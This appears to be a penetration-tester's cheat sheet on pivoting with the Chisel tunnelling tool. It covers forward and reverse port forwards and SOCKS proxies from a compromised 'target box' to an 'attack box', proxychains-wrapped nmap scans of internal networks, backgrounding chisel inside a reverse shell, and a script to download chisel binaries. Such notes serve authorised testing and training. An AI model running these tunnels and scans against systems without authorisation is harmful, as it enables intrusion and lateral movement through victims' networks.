Port Forwarding with Chisel

Usage

Requires a copy of the Chisel binary on:

  • The target host
  • The attacker's host
  • Download from the Releases Page

Example Commands

Chisel also supports authenticated proxies to prevent unwanted connections

Individual Port Forwarding

NOTE:?If you plan on running the?chisel server on the target, ensure the traffic is allowed through any firewalls. In general, running the?chisel server on the attack box is a safer bet

Network Diagram

                                               SCENARIO
                                               --------
     Services on TARGET BOX is listening internally on 127.0.0.1 on TCP port 8001 and TCP port 8443
         Run a CHISEL SERVER ON TARGET BOX and connect to it using a CHISEL CLIENT ON ATTACK BOX

              Open 127.0.0.1:8001 on attack box and port forward to 127.0.0.1:8001 on target
              Open 127.0.0.1:8443 on attack box and port forward to 127.0.0.1:8443 on target
    
               CHISEL CLIENT and CHISEL SERVER establish a TCP session using HTTP web sockets
       The port forwarding is secured between the two using SSH tunnels flowing through the web sockets
    
                                                                                                                            
                                                                                                                            
.---------------.                                                                                      .---------------.
|               |                                                                                      |               |
|  ATTACK BOX   |                         ___________________________________                          |  TARGET BOX   |
|               |                        |         ===============>>         |                         |               |
| chisel client | ,=====[SSH TUNNEL]=====|         [HTTP WEB SOCKET]         |=====[SSH TUNNEL]=====>> | chisel server |
|               | |                      |___________________________________|                       | |               |
'---------------' |                                                                                  | '---------------'
                  |                                                                                  |
 127.0.0.1:8001 --|                                                                                  |--127.0.0.1:8001
 127.0.0.1:8443 --'                                                                                  '--127.0.0.1:8443

Chisel Server on Target

  • Chisel server is listening on?TCP/51234
  • Make sure this port is open in the firewall
/tmp/chisel server --socks5 --port 51234  

Chisel Client on Attack Box

  • Example shows multiple port forwards
  • You can specify one or many port forwards
  • Add or remove port forward declarations as needed
/tmp/chisel client target-box-ip:51234 127.0.0.1:8001:127.0.0.1:8001 127.0.0.1:8443:127.0.01:8443

Example command

.\chisel.exe client target-box-ip:51234 127.0.0.1:8001:127.0.0.1:8001 127.0.0.1:8443:127.0.01:8443
                                         ^                             ^
                                         |                             |____attack-ip:attack-port:target-ip:target-port
                                         |
                                         |________attack-ip:attack-port:target-ip:target-port

Syntax explanation



Reverse Individual Port Forwarding

  • A service on a compromised host is listening on?127.0.0.1
  • Run the Chisel server on the attack box in reverse mode and connect from the target
  • Specify one or many reverse port forwards on the client
  • Open a port on attack box and forward traffic to remote port

Network Diagram

                                               SCENARIO
                                               --------
       Services on TARGET BOX is listening internally on 127.0.0.1 on TCP port 8001 and TCP port 8443
         Run a CHISEL SERVER ON ATTACK BOX and connect to it using a CHISEL CLIENT ON TARGET BOX
                            
              Open 127.0.0.1:8001 on attack box and port forward to 127.0.0.1:8001 on target
              Open 127.0.0.1:8443 on attack box and port forward to 127.0.0.1:8443 on target

              CHISEL CLIENT and CHISEL SERVER establish a TCP session using HTTP web sockets
       The port forwarding is secured between the two using SSH tunnels flowing through the web sockets
    
                                                                                                                            
                                                                                                                            
.---------------.                                                                                      .---------------.
|               |                                                                                      |               |
|  ATTACK BOX   |                         ___________________________________                          |  TARGET BOX   |
|               |                        |         <<===============         |                         |               |
| chisel server | ,=====[SSH TUNNEL]=====|         [HTTP WEB SOCKET]         |=====[SSH TUNNEL]=====>> | chisel client |
|               | |                      |___________________________________|                       | |               |
'---------------' |                                                                                  | '---------------'
                  |                                                                                  |
 127.0.0.1:8001 --|                                                                                  |--127.0.0.1:8001
 127.0.0.1:8443 --'                                                                                  '--127.0.0.1:8443


Chisel Server on Attack Box

./chisel server --reverse --port 51234

Chisel Client on Target

  • Example command shows multiple port forwards
  • You can specify one or many port forwards
  • Add or remove port forward declarations as needed
/tmp/chisel client attack-box-ip:51234 R:8001:127.0.0.1:8001 R:8443:127.0.01:8443

Example command

.\chisel.exe client attack-box-ip:51234 R:8001:127.0.0.1:8001 R:8443:127.0.01:8443
                                               ^                     ^    
                                               |                     |___ attack-ip:attack-port:target-ip:target-port
                                               |
                                               |___ attack-ip:attack-port:target-ip:target-port
 
                                                    # "R" is shorthand for "127.0.0.1"
                                                    # Effectively, listen on 127.0.0.1 on attack box

Syntax explanation


Forward Dynamic SOCKS Proxy

  • Run the Chisel server on the target box
  • Use the target box as a jump host to reach additional targets routable by the target
  • The traffic flows forward to the target box, which acts as a transparent SOCKS proxy

SOCKS operates at layer 4 and up on the OSI model. Ping -- or ICMP -- is a layer 3 protocol and does not flow over SOCKS. So, you cannot ping targets through a SOCKS proxy.

Network Diagram

                                               SCENARIO
                                               --------
      You have landed on a target that has access to ADDITIONAL TARGET(s) and/or ADDITIONAL ROUTE(s)
      Run a CHISEL SERVER ON TARGET BOX and connect to it using a CHISEL CLIENT ON ATTACK BOX

      Open 127.0.0.1:50080 on attack box and use this TCP connection as a SOCKS5 proxy
      All traffic flowing through the SOCKS5 proxy will be routed by TARGET BOX to any specified destination
    
               CHISEL CLIENT and CHISEL SERVER establish a TCP session using HTTP web sockets
     The port forwarding is secured between the two using SSH tunnels flowing through the web sockets
    
                                                                                                                             
                                                                                                                             
.---------------.                                                                                      .---------------.                           
|               |                         ___________________________________                          |               |                           .----.        .----.
|  ATTACK BOX   |                        |         ===============>>         |                         |  TARGET BOX   | <<===================>>   |    | .----. |    |
|               | ,=====[SSH TUNNEL]=====|         [HTTP WEB SOCKET]         |=====[SSH TUNNEL]=====>> |               | -----SOCKS5 PROXY----->   '----' |    | '----'
| chisel client | |                      |___________________________________|                         | chisel server | <<========:|:========>>   .----. '----' .----.
|               | |                                                                                    |               |           |'|             |    |        |    |
'---------------' |                                                                                    '---------------'           |'|             '----'        '----'
                  |                                                                                                                |'|              ADDITIONAL TARGETS
 127.0.0.1:50080--'                                                                                                     =========== '|                 OR NETWORKS
                                                                                                        127.0.0.1:8080 <------------'|               
                                                                                                                        ============='

"socks5 127.0.0.1 50080" in proxychains4.conf

proxychains -q nmap -Pn -sT --top-ports 500 <target(s)>
curl --proxy "socks5://127.0.0.1:50080" http://127.0.0.1:8080


Chisel Server on Target

  • Chisel server is listening on TCP port 51234
  • Make sure this port is open in the firewall
.\chisel.exe server --socks5 --port 51234  

Chisel Client on Attack Box

/tmp/chisel client target-box-ip:51234 50080:socks

Example command:?Open?TCP/50080 as the SOCKS5 proxy port on attack box

 /tmp/chisel client target-box-ip:51234 50080:socks
                                         ^
                                         |____attack-port:socks

Syntax explanation

Reverse Dynamic SOCKS Proxy

  • Run the Chisel server on the attack box in reverse mode
  • Connect to the Chisel server from the target and specify a reverse port forward
  • The traffic flows through the port on the attack box in reverse to the target box, which acts as a transparent SOCKS proxy

SOCKS operates at layer 4 and up on the OSI model. Ping -- or ICMP -- is a layer 3 protocol and does not flow over SOCKS. So, you cannot ping targets through a SOCKS proxy.

Network Diagram

                                               SCENARIO
                                               --------
       You have landed on a target that has access to ADDITIONAL TARGET(s) and/or ADDITIONAL ROUTE(s)
       Run a CHISEL SERVER ON TARGET BOX and connect to it using a CHISEL CLIENT ON ATTACK BOX

              Open 127.0.0.1:50080 on attack box and use this TCP connection as a SOCKS5 proxy
   All traffic flowing through the SOCKS5 proxy will be routed by TARGET BOX to any specified destination
   
               CHISEL CLIENT and CHISEL SERVER establish a TCP session using HTTP web sockets
       The port forwarding is secured between the two using SSH tunnels flowing through the web sockets
    
                                                                                                                             
                                                                                                                             
.---------------.                                                                                      .---------------.                           
|               |                         ___________________________________                          |               |                           .----.        .----.
|  ATTACK BOX   |                        |         <<===============         |                         |  TARGET BOX   | <<===================>>   |    | .----. |    |
|               | ,=====[SSH TUNNEL]=====|         [HTTP WEB SOCKET]         |=====[SSH TUNNEL]=====>> |               | -----SOCKS5 PROXY----->   '----' |    | '----'
| chisel client | |                      |___________________________________|                         | chisel server | <<========:|:========>>   .----. '----' .----.
|               | |                                                                                    |               |           |'|             |    |        |    |
'---------------' |                                                                                    '---------------'           |'|             '----'        '----'
                  |                                                                                                                |'|              ADDITIONAL TARGETS
 127.0.0.1:50080--'                                                                                                     =========== '|                 OR NETWORKS
                                                                                                        127.0.0.1:8080 <------------'|               
                                                                                                                        ============='

"socks5 127.0.0.1 50080" in proxychains4.conf

proxychains -q nmap -Pn -sT --top-ports 500 <target(s)>
curl --proxy "socks5://127.0.0.1:50080" http://127.0.0.1:8080

Chisel Server on Attack Box

/tmp/chisel server --reverse --port 51234


Chisel Client on Target

.\chisel.exe client attack-box-ip:51234 R:50080:socks

Example command: Open?TCP/50080 as the SOCKS5 proxy port on attack box

.\chisel.exe client attack-box-ip:51234 R:50080:socks
                                           ^    
                                           |___ R:attack-port:socks
                        
                                               "R" is shorthand for "127.0.0.1"
                                               Effectively, listen on 127.0.0.1 on attack box

Syntax explanation

Proxychains

proxychains is used for dynamic port scanning when using?Forward?or?Reverse Dynamic SOCKS Proxy

sudo nano /etc/proxychains4.conf

In the example below, this assumes you've used?tcp/50080 as the SOCKS5 proxy port (as shown in the example command above). We?must specify?socks5 in the?[ProxyList] section, as this is the protocol supported by Chisel.

[ProxyList]
socks5 127.0.0.1 50080

Port Scanning via SOCKS Proxy

With SOCKS, you must use the?-sT flag to make a full TCP connection through the proxy. The SOCKS proxy cannot track TCP states when?-sS or half-open scans are used.

Scanning?127.0.0.1 -- in this case -- causes the traffic to flow through the SOCKS session, come out the other side of the proxy on the target and effectively scan the loopback adapter on the target side.

# TCP connect scans are brutally slow, use top 1,000 ports
sudo proxychains -q nmap -Pn -sT --top-ports 1000 -T4 -sC -sV 127.0.0.1

Reverse Shell Tips

Run Chisel in the Background

Running chisel in the foreground in a reverse shell will render your shell useless, adding these notes here as a way to work around this.

Linux

Client Mode

chisel client 10.0.0.2:8080 R:127.0.0.1:33060:127.0.0.1:3306 R:127.0.0.1:8800:127.0.0.1:80 &

Background a process with &

Server Mode

chisel server --port 8080 --reverse &

Background a process with &


Windows

PowerShell

Client Mode

$scriptBlock = { C:\Windows\Temp\chisel.exe client 10.0.0.2:8080 R:127.0.0.1:33060:127.0.0.1:3306 R:127.0.0.1:8800:127.0.0.1:80 }
Start-Job -ScriptBlock $scriptBlock

Store a PowerShell scriptblock in the?$scriptBlock variable and run in the background with?Start-Job

Server Mode

Note that in server mode, you'll need to make sure your port is allowed through the firewall.

$scriptBlock = { C:\Windows\Temp\chisel.exe server --port 50001 --socks5 }
Start-Job -ScriptBlock $scriptBlock

Store a PowerShell scriptblock in the?$scriptBlock variable and run in the background with?Start-Job

Bash Function to Download Chisel Binaries

I've added this function to my?~/.zshrc file so that I can just invoke the function at any time to download the Linux and Windows chisel binaries.

Show / Hide Code Block
function download_chisel() {

    # Variables
    download_base_url='https://github.com/jpillora/chisel/releases/download'
    tags_base_url='https://github.com/jpillora/chisel/tags'
    linux_output_name='chisel.gz'
    linux32_output_name='chisel32.gz'
    windows_output_name='chisel.exe.gz'
    windows32_output_name='chisel32.exe.gz'
    url_version=$(curl -s $tags_base_url | grep 'releases/tag/v' | head -n 1 | cut -d '>' -f 3 | cut -d '<' -f 1)
    binary_version=$(echo $url_version | tr -d 'v')
    linux_binary_name="chisel_${binary_version}_linux_amd64.gz"
    linux32_binary_name="chisel_${binary_version}_linux_386.gz"
    windows_binary_name="chisel_${binary_version}_windows_amd64.gz"
    windows32_binary_name="chisel_${binary_version}_windows_386.gz"
    linux_download_url="${download_base_url}/${url_version}/${linux_binary_name}"
    linux32_download_url="${download_base_url}/${url_version}/${linux32_binary_name}"
    windows_download_url="${download_base_url}/${url_version}/${windows_binary_name}"
    windows32_download_url="${download_base_url}/${url_version}/${windows32_binary_name}"

    # Download, extract, set mode
    curl -sL $linux_download_url -o "$PWD/${linux_output_name}"
    curl -sL $linux32_download_url -o "$PWD/${linux32_output_name}"
    curl -sL $windows_download_url -o "$PWD/${windows_output_name}"
    curl -sL $windows32_download_url -o "$PWD/${windows32_output_name}"
    gunzip $linux_output_name > /dev/null
    gunzip $linux32_output_name > /dev/null
    gunzip $windows_output_name > /dev/null
    gunzip $windows32_output_name > /dev/null
    chmod u+x ./chisel > /dev/null
    echo "Linux and Windows chisel binaries downloaded and unarchived in $PWD"

}